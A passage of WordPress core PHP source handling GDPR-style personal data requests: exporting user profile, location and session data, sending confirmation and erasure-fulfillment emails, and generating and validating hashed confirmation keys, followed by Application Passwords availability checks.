		'group_id'          => 'user',
		'group_label'       => __( 'User' ),
		'group_description' => __( 'User&#8217;s profile data.' ),
		'item_id'           => "user-{$user->ID}",
		'data'              => $user_data_to_export,
	);

	if ( isset( $user_meta['community-events-location'] ) ) {
		$location = maybe_unserialize( $user_meta['community-events-location'][0] );

		$location_props_to_export = array(
			'description' => __( 'City' ),
			'country'     => __( 'Country' ),
			'latitude'    => __( 'Latitude' ),
			'longitude'   => __( 'Longitude' ),
			'ip'          => __( 'IP' ),
		);

		$location_data_to_export = array();

		foreach ( $location_props_to_export as $key => $name ) {
			if ( ! empty( $location[ $key ] ) ) {
				$location_data_to_export[] = array(
					'name'  => $name,
					'value' => $location[ $key ],
				);
			}
		}

		$data_to_export[] = array(
			'group_id'          => 'community-events-location',
			'group_label'       => __( 'Community Events Location' ),
			'group_description' => __( 'User&#8217;s location data used for the Community Events in the WordPress Events and News dashboard widget.' ),
			'item_id'           => "community-events-location-{$user->ID}",
			'data'              => $location_data_to_export,
		);
	}

	if ( isset( $user_meta['session_tokens'] ) ) {
		$session_tokens = maybe_unserialize( $user_meta['session_tokens'][0] );

		$session_tokens_props_to_export = array(
			'expiration' => __( 'Expiration' ),
			'ip'         => __( 'IP' ),
			'ua'         => __( 'User Agent' ),
			'login'      => __( 'Last Login' ),
		);

		foreach ( $session_tokens as $token_key => $session_token ) {
			$session_tokens_data_to_export = array();

			foreach ( $session_tokens_props_to_export as $key => $name ) {
				if ( ! empty( $session_token[ $key ] ) ) {
					$value = $session_token[ $key ];
					if ( in_array( $key, array( 'expiration', 'login' ), true ) ) {
						$value = date_i18n( 'F d, Y H:i A', $value );
					}
					$session_tokens_data_to_export[] = array(
						'name'  => $name,
						'value' => $value,
					);
				}
			}

			$data_to_export[] = array(
				'group_id'          => 'session-tokens',
				'group_label'       => __( 'Session Tokens' ),
				'group_description' => __( 'User&#8217;s Session Tokens data.' ),
				'item_id'           => "session-tokens-{$user->ID}-{$token_key}",
				'data'              => $session_tokens_data_to_export,
			);
		}
	}

	return array(
		'data' => $data_to_export,
		'done' => true,
	);
}

/**
 * Updates log when privacy request is confirmed.
 *
 * @since 4.9.6
 * @access private
 *
 * @param int $request_id ID of the request.
 */
function _wp_privacy_account_request_confirmed( $request_id ) {
	$request = wp_get_user_request( $request_id );

	if ( ! $request ) {
		return;
	}

	if ( ! in_array( $request->status, array( 'request-pending', 'request-failed' ), true ) ) {
		return;
	}

	update_post_meta( $request_id, '_wp_user_request_confirmed_timestamp', time() );
	wp_update_post(
		array(
			'ID'          => $request_id,
			'post_status' => 'request-confirmed',
		)
	);
}

/**
 * Notifies the site administrator via email when a request is confirmed.
 *
 * Without this, the admin would have to manually check the site to see if any
 * action was needed on their part yet.
 *
 * @since 4.9.6
 *
 * @param int $request_id The ID of the request.
 */
function _wp_privacy_send_request_confirmation_notification( $request_id ) {
	$request = wp_get_user_request( $request_id );

	if ( ! ( $request instanceof WP_User_Request ) || 'request-confirmed' !== $request->status ) {
		return;
	}

	$already_notified = (bool) get_post_meta( $request_id, '_wp_admin_notified', true );

	if ( $already_notified ) {
		return;
	}

	if ( 'export_personal_data' === $request->action_name ) {
		$manage_url = admin_url( 'export-personal-data.php' );
	} elseif ( 'remove_personal_data' === $request->action_name ) {
		$manage_url = admin_url( 'erase-personal-data.php' );
	}
	$action_description = wp_user_request_action_description( $request->action_name );

	/**
	 * Filters the recipient of the data request confirmation notification.
	 *
	 * In a Multisite environment, this will default to the email address of the
	 * network admin because, by default, single site admins do not have the
	 * capabilities required to process requests. Some networks may wish to
	 * delegate those capabilities to a single-site admin, or a dedicated person
	 * responsible for managing privacy requests.
	 *
	 * @since 4.9.6
	 *
	 * @param string          $admin_email The email address of the notification recipient.
	 * @param WP_User_Request $request     The request that is initiating the notification.
	 */
	$admin_email = apply_filters( 'user_request_confirmed_email_to', get_site_option( 'admin_email' ), $request );

	$email_data = array(
		'request'     => $request,
		'user_email'  => $request->email,
		'description' => $action_description,
		'manage_url'  => $manage_url,
		'sitename'    => wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ),
		'siteurl'     => home_url(),
		'admin_email' => $admin_email,
	);

	$subject = sprintf(
		/* translators: Privacy data request confirmed notification email subject. 1: Site title, 2: Name of the confirmed action. */
		__( '[%1$s] Action Confirmed: %2$s' ),
		$email_data['sitename'],
		$action_description
	);

	/**
	 * Filters the subject of the user request confirmation email.
	 *
	 * @since 4.9.8
	 *
	 * @param string $subject    The email subject.
	 * @param string $sitename   The name of the site.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request     User request object.
	 *     @type string          $user_email  The email address confirming a request.
	 *     @type string          $description Description of the action being performed so the user knows what the email is for.
	 *     @type string          $manage_url  The link to click manage privacy requests of this type.
	 *     @type string          $sitename    The site name sending the mail.
	 *     @type string          $siteurl     The site URL sending the mail.
	 *     @type string          $admin_email The administrator email receiving the mail.
	 * }
	 */
	$subject = apply_filters( 'user_request_confirmed_email_subject', $subject, $email_data['sitename'], $email_data );

	/* translators: Do not translate SITENAME, USER_EMAIL, DESCRIPTION, MANAGE_URL, SITEURL; those are placeholders. */
	$content = __(
		'Howdy,

A user data privacy request has been confirmed on ###SITENAME###:

User: ###USER_EMAIL###
Request: ###DESCRIPTION###

You can view and manage these data privacy requests here:

###MANAGE_URL###

Regards,
All at ###SITENAME###
###SITEURL###'
	);

	/**
	 * Filters the body of the user request confirmation email.
	 *
	 * The email is sent to an administrator when a user request is confirmed.
	 *
	 * The following strings have a special meaning and will get replaced dynamically:
	 *
	 * ###SITENAME###    The name of the site.
	 * ###USER_EMAIL###  The user email for the request.
	 * ###DESCRIPTION### Description of the action being performed so the user knows what the email is for.
	 * ###MANAGE_URL###  The URL to manage requests.
	 * ###SITEURL###     The URL to the site.
	 *
	 * @since 4.9.6
	 * @deprecated 5.8.0 Use {@see 'user_request_confirmed_email_content'} instead.
	 *                   For user erasure fulfillment email content
	 *                   use {@see 'user_erasure_fulfillment_email_content'} instead.
	 *
	 * @param string $content    The email content.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request     User request object.
	 *     @type string          $user_email  The email address confirming a request.
	 *     @type string          $description Description of the action being performed
	 *                                        so the user knows what the email is for.
	 *     @type string          $manage_url  The link to click manage privacy requests of this type.
	 *     @type string          $sitename    The site name sending the mail.
	 *     @type string          $siteurl     The site URL sending the mail.
	 *     @type string          $admin_email The administrator email receiving the mail.
	 * }
	 */
	$content = apply_filters_deprecated(
		'user_confirmed_action_email_content',
		array( $content, $email_data ),
		'5.8.0',
		sprintf(
			/* translators: 1 & 2: Deprecation replacement options. */
			__( '%1$s or %2$s' ),
			'user_request_confirmed_email_content',
			'user_erasure_fulfillment_email_content'
		)
	);

	/**
	 * Filters the body of the user request confirmation email.
	 *
	 * The email is sent to an administrator when a user request is confirmed.
	 * The following strings have a special meaning and will get replaced dynamically:
	 *
	 * ###SITENAME###    The name of the site.
	 * ###USER_EMAIL###  The user email for the request.
	 * ###DESCRIPTION### Description of the action being performed so the user knows what the email is for.
	 * ###MANAGE_URL###  The URL to manage requests.
	 * ###SITEURL###     The URL to the site.
	 *
	 * @since 5.8.0
	 *
	 * @param string $content    The email content.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request     User request object.
	 *     @type string          $user_email  The email address confirming a request.
	 *     @type string          $description Description of the action being performed so the user knows what the email is for.
	 *     @type string          $manage_url  The link to click manage privacy requests of this type.
	 *     @type string          $sitename    The site name sending the mail.
	 *     @type string          $siteurl     The site URL sending the mail.
	 *     @type string          $admin_email The administrator email receiving the mail.
	 * }
	 */
	$content = apply_filters( 'user_request_confirmed_email_content', $content, $email_data );

	$content = str_replace( '###SITENAME###', $email_data['sitename'], $content );
	$content = str_replace( '###USER_EMAIL###', $email_data['user_email'], $content );
	$content = str_replace( '###DESCRIPTION###', $email_data['description'], $content );
	$content = str_replace( '###MANAGE_URL###', sanitize_url( $email_data['manage_url'] ), $content );
	$content = str_replace( '###SITEURL###', sanitize_url( $email_data['siteurl'] ), $content );

	$headers = '';

	/**
	 * Filters the headers of the user request confirmation email.
	 *
	 * @since 5.4.0
	 *
	 * @param string|array $headers    The email headers.
	 * @param string       $subject    The email subject.
	 * @param string       $content    The email content.
	 * @param int          $request_id The request ID.
	 * @param array        $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request     User request object.
	 *     @type string          $user_email  The email address confirming a request.
	 *     @type string          $description Description of the action being performed so the user knows what the email is for.
	 *     @type string          $manage_url  The link to click manage privacy requests of this type.
	 *     @type string          $sitename    The site name sending the mail.
	 *     @type string          $siteurl     The site URL sending the mail.
	 *     @type string          $admin_email The administrator email receiving the mail.
	 * }
	 */
	$headers = apply_filters( 'user_request_confirmed_email_headers', $headers, $subject, $content, $request_id, $email_data );

	$email_sent = wp_mail( $email_data['admin_email'], $subject, $content, $headers );

	if ( $email_sent ) {
		update_post_meta( $request_id, '_wp_admin_notified', true );
	}
}

/**
 * Notifies the user when their erasure request is fulfilled.
 *
 * Without this, the user would never know if their data was actually erased.
 *
 * @since 4.9.6
 *
 * @param int $request_id The privacy request post ID associated with this request.
 */
function _wp_privacy_send_erasure_fulfillment_notification( $request_id ) {
	$request = wp_get_user_request( $request_id );

	if ( ! ( $request instanceof WP_User_Request ) || 'request-completed' !== $request->status ) {
		return;
	}

	$already_notified = (bool) get_post_meta( $request_id, '_wp_user_notified', true );

	if ( $already_notified ) {
		return;
	}

	// Localize message content for user; fallback to site default for visitors.
	if ( ! empty( $request->user_id ) ) {
		$switched_locale = switch_to_user_locale( $request->user_id );
	} else {
		$switched_locale = switch_to_locale( get_locale() );
	}

	/**
	 * Filters the recipient of the data erasure fulfillment notification.
	 *
	 * @since 4.9.6
	 *
	 * @param string          $user_email The email address of the notification recipient.
	 * @param WP_User_Request $request    The request that is initiating the notification.
	 */
	$user_email = apply_filters( 'user_erasure_fulfillment_email_to', $request->email, $request );

	$email_data = array(
		'request'            => $request,
		'message_recipient'  => $user_email,
		'privacy_policy_url' => get_privacy_policy_url(),
		'sitename'           => wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ),
		'siteurl'            => home_url(),
	);

	$subject = sprintf(
		/* translators: Erasure request fulfilled notification email subject. %s: Site title. */
		__( '[%s] Erasure Request Fulfilled' ),
		$email_data['sitename']
	);

	/**
	 * Filters the subject of the email sent when an erasure request is completed.
	 *
	 * @since 4.9.8
	 * @deprecated 5.8.0 Use {@see 'user_erasure_fulfillment_email_subject'} instead.
	 *
	 * @param string $subject    The email subject.
	 * @param string $sitename   The name of the site.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request            User request object.
	 *     @type string          $message_recipient  The address that the email will be sent to. Defaults
	 *                                               to the value of `$request->email`, but can be changed
	 *                                               by the `user_erasure_fulfillment_email_to` filter.
	 *     @type string          $privacy_policy_url Privacy policy URL.
	 *     @type string          $sitename           The site name sending the mail.
	 *     @type string          $siteurl            The site URL sending the mail.
	 * }
	 */
	$subject = apply_filters_deprecated(
		'user_erasure_complete_email_subject',
		array( $subject, $email_data['sitename'], $email_data ),
		'5.8.0',
		'user_erasure_fulfillment_email_subject'
	);

	/**
	 * Filters the subject of the email sent when an erasure request is completed.
	 *
	 * @since 5.8.0
	 *
	 * @param string $subject    The email subject.
	 * @param string $sitename   The name of the site.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request            User request object.
	 *     @type string          $message_recipient  The address that the email will be sent to. Defaults
	 *                                               to the value of `$request->email`, but can be changed
	 *                                               by the `user_erasure_fulfillment_email_to` filter.
	 *     @type string          $privacy_policy_url Privacy policy URL.
	 *     @type string          $sitename           The site name sending the mail.
	 *     @type string          $siteurl            The site URL sending the mail.
	 * }
	 */
	$subject = apply_filters( 'user_erasure_fulfillment_email_subject', $subject, $email_data['sitename'], $email_data );

	/* translators: Do not translate SITENAME, SITEURL; those are placeholders. */
	$content = __(
		'Howdy,

Your request to erase your personal data on ###SITENAME### has been completed.

If you have any follow-up questions or concerns, please contact the site administrator.

Regards,
All at ###SITENAME###
###SITEURL###'
	);

	if ( ! empty( $email_data['privacy_policy_url'] ) ) {
		/* translators: Do not translate SITENAME, SITEURL, PRIVACY_POLICY_URL; those are placeholders. */
		$content = __(
			'Howdy,

Your request to erase your personal data on ###SITENAME### has been completed.

If you have any follow-up questions or concerns, please contact the site administrator.

For more information, you can also read our privacy policy: ###PRIVACY_POLICY_URL###

Regards,
All at ###SITENAME###
###SITEURL###'
		);
	}

	/**
	 * Filters the body of the data erasure fulfillment notification.
	 *
	 * The email is sent to a user when their data erasure request is fulfilled
	 * by an administrator.
	 *
	 * The following strings have a special meaning and will get replaced dynamically:
	 *
	 * ###SITENAME###           The name of the site.
	 * ###PRIVACY_POLICY_URL### Privacy policy page URL.
	 * ###SITEURL###            The URL to the site.
	 *
	 * @since 4.9.6
	 * @deprecated 5.8.0 Use {@see 'user_erasure_fulfillment_email_content'} instead.
	 *                   For user request confirmation email content
	 *                   use {@see 'user_request_confirmed_email_content'} instead.
	 *
	 * @param string $content The email content.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request            User request object.
	 *     @type string          $message_recipient  The address that the email will be sent to. Defaults
	 *                                               to the value of `$request->email`, but can be changed
	 *                                               by the `user_erasure_fulfillment_email_to` filter.
	 *     @type string          $privacy_policy_url Privacy policy URL.
	 *     @type string          $sitename           The site name sending the mail.
	 *     @type string          $siteurl            The site URL sending the mail.
	 * }
	 */
	$content = apply_filters_deprecated(
		'user_confirmed_action_email_content',
		array( $content, $email_data ),
		'5.8.0',
		sprintf(
			/* translators: 1 & 2: Deprecation replacement options. */
			__( '%1$s or %2$s' ),
			'user_erasure_fulfillment_email_content',
			'user_request_confirmed_email_content'
		)
	);

	/**
	 * Filters the body of the data erasure fulfillment notification.
	 *
	 * The email is sent to a user when their data erasure request is fulfilled
	 * by an administrator.
	 *
	 * The following strings have a special meaning and will get replaced dynamically:
	 *
	 * ###SITENAME###           The name of the site.
	 * ###PRIVACY_POLICY_URL### Privacy policy page URL.
	 * ###SITEURL###            The URL to the site.
	 *
	 * @since 5.8.0
	 *
	 * @param string $content The email content.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request            User request object.
	 *     @type string          $message_recipient  The address that the email will be sent to. Defaults
	 *                                               to the value of `$request->email`, but can be changed
	 *                                               by the `user_erasure_fulfillment_email_to` filter.
	 *     @type string          $privacy_policy_url Privacy policy URL.
	 *     @type string          $sitename           The site name sending the mail.
	 *     @type string          $siteurl            The site URL sending the mail.
	 * }
	 */
	$content = apply_filters( 'user_erasure_fulfillment_email_content', $content, $email_data );

	$content = str_replace( '###SITENAME###', $email_data['sitename'], $content );
	$content = str_replace( '###PRIVACY_POLICY_URL###', $email_data['privacy_policy_url'], $content );
	$content = str_replace( '###SITEURL###', sanitize_url( $email_data['siteurl'] ), $content );

	$headers = '';

	/**
	 * Filters the headers of the data erasure fulfillment notification.
	 *
	 * @since 5.4.0
	 * @deprecated 5.8.0 Use {@see 'user_erasure_fulfillment_email_headers'} instead.
	 *
	 * @param string|array $headers    The email headers.
	 * @param string       $subject    The email subject.
	 * @param string       $content    The email content.
	 * @param int          $request_id The request ID.
	 * @param array        $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request            User request object.
	 *     @type string          $message_recipient  The address that the email will be sent to. Defaults
	 *                                               to the value of `$request->email`, but can be changed
	 *                                               by the `user_erasure_fulfillment_email_to` filter.
	 *     @type string          $privacy_policy_url Privacy policy URL.
	 *     @type string          $sitename           The site name sending the mail.
	 *     @type string          $siteurl            The site URL sending the mail.
	 * }
	 */
	$headers = apply_filters_deprecated(
		'user_erasure_complete_email_headers',
		array( $headers, $subject, $content, $request_id, $email_data ),
		'5.8.0',
		'user_erasure_fulfillment_email_headers'
	);

	/**
	 * Filters the headers of the data erasure fulfillment notification.
	 *
	 * @since 5.8.0
	 *
	 * @param string|array $headers    The email headers.
	 * @param string       $subject    The email subject.
	 * @param string       $content    The email content.
	 * @param int          $request_id The request ID.
	 * @param array        $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request            User request object.
	 *     @type string          $message_recipient  The address that the email will be sent to. Defaults
	 *                                               to the value of `$request->email`, but can be changed
	 *                                               by the `user_erasure_fulfillment_email_to` filter.
	 *     @type string          $privacy_policy_url Privacy policy URL.
	 *     @type string          $sitename           The site name sending the mail.
	 *     @type string          $siteurl            The site URL sending the mail.
	 * }
	 */
	$headers = apply_filters( 'user_erasure_fulfillment_email_headers', $headers, $subject, $content, $request_id, $email_data );

	$email_sent = wp_mail( $user_email, $subject, $content, $headers );

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	if ( $email_sent ) {
		update_post_meta( $request_id, '_wp_user_notified', true );
	}
}

/**
 * Returns request confirmation message HTML.
 *
 * @since 4.9.6
 * @access private
 *
 * @param int $request_id The request ID being confirmed.
 * @return string The confirmation message.
 */
function _wp_privacy_account_request_confirmed_message( $request_id ) {
	$request = wp_get_user_request( $request_id );

	$message  = '<p class="success">' . __( 'Action has been confirmed.' ) . '</p>';
	$message .= '<p>' . __( 'The site administrator has been notified and will fulfill your request as soon as possible.' ) . '</p>';

	if ( $request && in_array( $request->action_name, _wp_privacy_action_request_types(), true ) ) {
		if ( 'export_personal_data' === $request->action_name ) {
			$message  = '<p class="success">' . __( 'Thanks for confirming your export request.' ) . '</p>';
			$message .= '<p>' . __( 'The site administrator has been notified. You will receive a link to download your export via email when they fulfill your request.' ) . '</p>';
		} elseif ( 'remove_personal_data' === $request->action_name ) {
			$message  = '<p class="success">' . __( 'Thanks for confirming your erasure request.' ) . '</p>';
			$message .= '<p>' . __( 'The site administrator has been notified. You will receive an email confirmation when they erase your data.' ) . '</p>';
		}
	}

	/**
	 * Filters the message displayed to a user when they confirm a data request.
	 *
	 * @since 4.9.6
	 *
	 * @param string $message    The message to the user.
	 * @param int    $request_id The ID of the request being confirmed.
	 */
	$message = apply_filters( 'user_request_action_confirmed_message', $message, $request_id );

	return $message;
}

/**
 * Creates and logs a user request to perform a specific action.
 *
 * Requests are stored inside a post type named `user_request` since they can apply to both
 * users on the site, or guests without a user account.
 *
 * @since 4.9.6
 * @since 5.7.0 Added the `$status` parameter.
 *
 * @param string $email_address           User email address. This can be the address of a registered
 *                                        or non-registered user.
 * @param string $action_name             Name of the action that is being confirmed. Required.
 * @param array  $request_data            Misc data you want to send with the verification request and pass
 *                                        to the actions once the request is confirmed.
 * @param string $status                  Optional request status (pending or confirmed). Default 'pending'.
 * @return int|WP_Error                   Returns the request ID if successful, or a WP_Error object on failure.
 */
function wp_create_user_request( $email_address = '', $action_name = '', $request_data = array(), $status = 'pending' ) {
	$email_address = sanitize_email( $email_address );
	$action_name   = sanitize_key( $action_name );

	if ( ! is_email( $email_address ) ) {
		return new WP_Error( 'invalid_email', __( 'Invalid email address.' ) );
	}

	if ( ! in_array( $action_name, _wp_privacy_action_request_types(), true ) ) {
		return new WP_Error( 'invalid_action', __( 'Invalid action name.' ) );
	}

	if ( ! in_array( $status, array( 'pending', 'confirmed' ), true ) ) {
		return new WP_Error( 'invalid_status', __( 'Invalid request status.' ) );
	}

	$user    = get_user_by( 'email', $email_address );
	$user_id = $user && ! is_wp_error( $user ) ? $user->ID : 0;

	// Check for duplicates.
	$requests_query = new WP_Query(
		array(
			'post_type'     => 'user_request',
			'post_name__in' => array( $action_name ), // Action name stored in post_name column.
			'title'         => $email_address,        // Email address stored in post_title column.
			'post_status'   => array(
				'request-pending',
				'request-confirmed',
			),
			'fields'        => 'ids',
		)
	);

	if ( $requests_query->found_posts ) {
		return new WP_Error( 'duplicate_request', __( 'An incomplete personal data request for this email address already exists.' ) );
	}

	$request_id = wp_insert_post(
		array(
			'post_author'   => $user_id,
			'post_name'     => $action_name,
			'post_title'    => $email_address,
			'post_content'  => wp_json_encode( $request_data ),
			'post_status'   => 'request-' . $status,
			'post_type'     => 'user_request',
			'post_date'     => current_time( 'mysql', false ),
			'post_date_gmt' => current_time( 'mysql', true ),
		),
		true
	);

	return $request_id;
}

/**
 * Gets action description from the name and return a string.
 *
 * @since 4.9.6
 *
 * @param string $action_name Action name of the request.
 * @return string Human readable action name.
 */
function wp_user_request_action_description( $action_name ) {
	switch ( $action_name ) {
		case 'export_personal_data':
			$description = __( 'Export Personal Data' );
			break;
		case 'remove_personal_data':
			$description = __( 'Erase Personal Data' );
			break;
		default:
			/* translators: %s: Action name. */
			$description = sprintf( __( 'Confirm the "%s" action' ), $action_name );
			break;
	}

	/**
	 * Filters the user action description.
	 *
	 * @since 4.9.6
	 *
	 * @param string $description The default description.
	 * @param string $action_name The name of the request.
	 */
	return apply_filters( 'user_request_action_description', $description, $action_name );
}

/**
 * Send a confirmation request email to confirm an action.
 *
 * If the request is not already pending, it will be updated.
 *
 * @since 4.9.6
 *
 * @param string $request_id ID of the request created via wp_create_user_request().
 * @return true|WP_Error True on success, `WP_Error` on failure.
 */
function wp_send_user_request( $request_id ) {
	$request_id = absint( $request_id );
	$request    = wp_get_user_request( $request_id );

	if ( ! $request ) {
		return new WP_Error( 'invalid_request', __( 'Invalid personal data request.' ) );
	}

	// Localize message content for user; fallback to site default for visitors.
	if ( ! empty( $request->user_id ) ) {
		$switched_locale = switch_to_user_locale( $request->user_id );
	} else {
		$switched_locale = switch_to_locale( get_locale() );
	}

	$email_data = array(
		'request'     => $request,
		'email'       => $request->email,
		'description' => wp_user_request_action_description( $request->action_name ),
		'confirm_url' => add_query_arg(
			array(
				'action'      => 'confirmaction',
				'request_id'  => $request_id,
				'confirm_key' => wp_generate_user_request_key( $request_id ),
			),
			wp_login_url()
		),
		'sitename'    => wp_specialchars_decode( get_option( 'blogname' ), ENT_QUOTES ),
		'siteurl'     => home_url(),
	);

	/* translators: Confirm privacy data request notification email subject. 1: Site title, 2: Name of the action. */
	$subject = sprintf( __( '[%1$s] Confirm Action: %2$s' ), $email_data['sitename'], $email_data['description'] );

	/**
	 * Filters the subject of the email sent when an account action is attempted.
	 *
	 * @since 4.9.6
	 *
	 * @param string $subject    The email subject.
	 * @param string $sitename   The name of the site.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request     User request object.
	 *     @type string          $email       The email address this is being sent to.
	 *     @type string          $description Description of the action being performed so the user knows what the email is for.
	 *     @type string          $confirm_url The link to click on to confirm the account action.
	 *     @type string          $sitename    The site name sending the mail.
	 *     @type string          $siteurl     The site URL sending the mail.
	 * }
	 */
	$subject = apply_filters( 'user_request_action_email_subject', $subject, $email_data['sitename'], $email_data );

	/* translators: Do not translate DESCRIPTION, CONFIRM_URL, SITENAME, SITEURL: those are placeholders. */
	$content = __(
		'Howdy,

A request has been made to perform the following action on your account:

     ###DESCRIPTION###

To confirm this, please click on the following link:
###CONFIRM_URL###

You can safely ignore and delete this email if you do not want to
take this action.

Regards,
All at ###SITENAME###
###SITEURL###'
	);

	/**
	 * Filters the text of the email sent when an account action is attempted.
	 *
	 * The following strings have a special meaning and will get replaced dynamically:
	 *
	 * ###DESCRIPTION### Description of the action being performed so the user knows what the email is for.
	 * ###CONFIRM_URL### The link to click on to confirm the account action.
	 * ###SITENAME###    The name of the site.
	 * ###SITEURL###     The URL to the site.
	 *
	 * @since 4.9.6
	 *
	 * @param string $content Text in the email.
	 * @param array  $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request     User request object.
	 *     @type string          $email       The email address this is being sent to.
	 *     @type string          $description Description of the action being performed so the user knows what the email is for.
	 *     @type string          $confirm_url The link to click on to confirm the account action.
	 *     @type string          $sitename    The site name sending the mail.
	 *     @type string          $siteurl     The site URL sending the mail.
	 * }
	 */
	$content = apply_filters( 'user_request_action_email_content', $content, $email_data );

	$content = str_replace( '###DESCRIPTION###', $email_data['description'], $content );
	$content = str_replace( '###CONFIRM_URL###', sanitize_url( $email_data['confirm_url'] ), $content );
	$content = str_replace( '###EMAIL###', $email_data['email'], $content );
	$content = str_replace( '###SITENAME###', $email_data['sitename'], $content );
	$content = str_replace( '###SITEURL###', sanitize_url( $email_data['siteurl'] ), $content );

	$headers = '';

	/**
	 * Filters the headers of the email sent when an account action is attempted.
	 *
	 * @since 5.4.0
	 *
	 * @param string|array $headers    The email headers.
	 * @param string       $subject    The email subject.
	 * @param string       $content    The email content.
	 * @param int          $request_id The request ID.
	 * @param array        $email_data {
	 *     Data relating to the account action email.
	 *
	 *     @type WP_User_Request $request     User request object.
	 *     @type string          $email       The email address this is being sent to.
	 *     @type string          $description Description of the action being performed so the user knows what the email is for.
	 *     @type string          $confirm_url The link to click on to confirm the account action.
	 *     @type string          $sitename    The site name sending the mail.
	 *     @type string          $siteurl     The site URL sending the mail.
	 * }
	 */
	$headers = apply_filters( 'user_request_action_email_headers', $headers, $subject, $content, $request_id, $email_data );

	$email_sent = wp_mail( $email_data['email'], $subject, $content, $headers );

	if ( $switched_locale ) {
		restore_previous_locale();
	}

	if ( ! $email_sent ) {
		return new WP_Error( 'privacy_email_error', __( 'Unable to send personal data export confirmation email.' ) );
	}

	return true;
}

/**
 * Returns a confirmation key for a user action and stores the hashed version for future comparison.
 *
 * @since 4.9.6
 *
 * @param int $request_id Request ID.
 * @return string Confirmation key.
 */
function wp_generate_user_request_key( $request_id ) {
	// Generate something random for a confirmation key.
	$key = wp_generate_password( 20, false );

	// Save the key, hashed.
	wp_update_post(
		array(
			'ID'            => $request_id,
			'post_status'   => 'request-pending',
			'post_password' => wp_fast_hash( $key ),
		)
	);

	return $key;
}

/**
 * Validates a user request by comparing the key with the request's key.
 *
 * @since 4.9.6
 *
 * @param string $request_id ID of the request being confirmed.
 * @param string $key        Provided key to validate.
 * @return true|WP_Error True on success, WP_Error on failure.
 */
function wp_validate_user_request_key(
	$request_id,
	#[\SensitiveParameter]
	$key
) {
	$request_id       = absint( $request_id );
	$request          = wp_get_user_request( $request_id );
	$saved_key        = $request->confirm_key;
	$key_request_time = $request->modified_timestamp;

	if ( ! $request || ! $saved_key || ! $key_request_time ) {
		return new WP_Error( 'invalid_request', __( 'Invalid personal data request.' ) );
	}

	if ( ! in_array( $request->status, array( 'request-pending', 'request-failed' ), true ) ) {
		return new WP_Error( 'expired_request', __( 'This personal data request has expired.' ) );
	}

	if ( empty( $key ) ) {
		return new WP_Error( 'missing_key', __( 'The confirmation key is missing from this personal data request.' ) );
	}

	/**
	 * Filters the expiration time of confirm keys.
	 *
	 * @since 4.9.6
	 *
	 * @param int $expiration The expiration time in seconds.
	 */
	$expiration_duration = (int) apply_filters( 'user_request_key_expiration', DAY_IN_SECONDS );
	$expiration_time     = $key_request_time + $expiration_duration;

	if ( ! wp_verify_fast_hash( $key, $saved_key ) ) {
		return new WP_Error( 'invalid_key', __( 'The confirmation key is invalid for this personal data request.' ) );
	}

	if ( ! $expiration_time || time() > $expiration_time ) {
		return new WP_Error( 'expired_key', __( 'The confirmation key has expired for this personal data request.' ) );
	}

	return true;
}

/**
 * Returns the user request object for the specified request ID.
 *
 * @since 4.9.6
 *
 * @param int $request_id The ID of the user request.
 * @return WP_User_Request|false
 */
function wp_get_user_request( $request_id ) {
	$request_id = absint( $request_id );
	$post       = get_post( $request_id );

	if ( ! $post || 'user_request' !== $post->post_type ) {
		return false;
	}

	return new WP_User_Request( $post );
}

/**
 * Checks if Application Passwords is supported.
 *
 * Application Passwords is supported only by sites using SSL or local environments
 * but may be made available using the {@see 'wp_is_application_passwords_available'} filter.
 *
 * @since 5.9.0
 *
 * @return bool
 */
function wp_is_application_passwords_supported() {
	return is_ssl() || 'local' === wp_get_environment_type();
}

/**
 * Checks if Application Passwords is globally available.
 *
 * By default, Application Passwords is available to all sites using SSL or to local environments.
 * Use the {@see 'wp_is_application_passwords_available'} filter to adjust its availability.
 *
 * @since 5.6.0
 *
 * @return bool
 */
function wp_is_application_passwords_available() {
	/**
	 * Filters whether Application Passwords is available.
	 *
	 * @since 5.6.0
	 *
	 * @param bool $available True if available, false otherwise.
	 */
	return apply_filters( 'wp_is_application_passwords_available', wp_is_application_passwords_supported() );
}

/**
 * Checks if Application Passwords is available for a specific user.
 *
 * By default all users can use Application Passwords. Use {@see 'wp_is_application_passwords_available_for_user'}
 * to restrict availability to certain users.
 *
 * @since 5.6.0
 *
 * @param int|WP_User $user The user to check.
 * @return bool
 */
function wp_is_application_passwords_available_for_user( $user ) {
	if ( ! wp_is_application_passwords_available() ) {
		return false;
	}

	if ( ! is_object( $user ) ) {
		$user = get_userdata( $user );
	}

	if ( ! $user || ! $user->exists() ) {
		return false;
	}

	/**
	 * Filters whether Application Passwords is available for a specific user.
	 *
	 * @since 5.6.0
	 *
	 * @param bool    $available True if available, false otherwise.
	 * @param WP_User $user      The user to check.
	 */
	return apply_filters( 'wp_is_application_passwords_available_for_user', true, $user );
}

/**
 * Registers the user meta property for persisted preferences.
 *
 * This property is used to store user preferences across page reloads and is
 * currently used by the block editor for preferences like 'fullscreenMode' and
 * 'fixedToolbar'.
 *
 * @since 6.1.0
 * @access private
 *
 * @global wpdb $wpdb WordPress database abstraction object.
 */
function wp_register_persisted_preferences_meta() {
	/*
	 * Create a meta key that incorporates the blog prefix so that each site
	 * on a multisite can have distinct user preferences.
	 */
	global $wpdb;
	$meta_key = $wpdb->get_blog_prefix() . 'persisted_preferences';

	register_meta(
		'user',
		$meta_key,
		array(
			'type'         => 'object',
			'single'       => true,
			'show_in_rest' => array(
				'name'   => 'persisted_preferences',
				'type'   => 'object',
				'schema' => array(
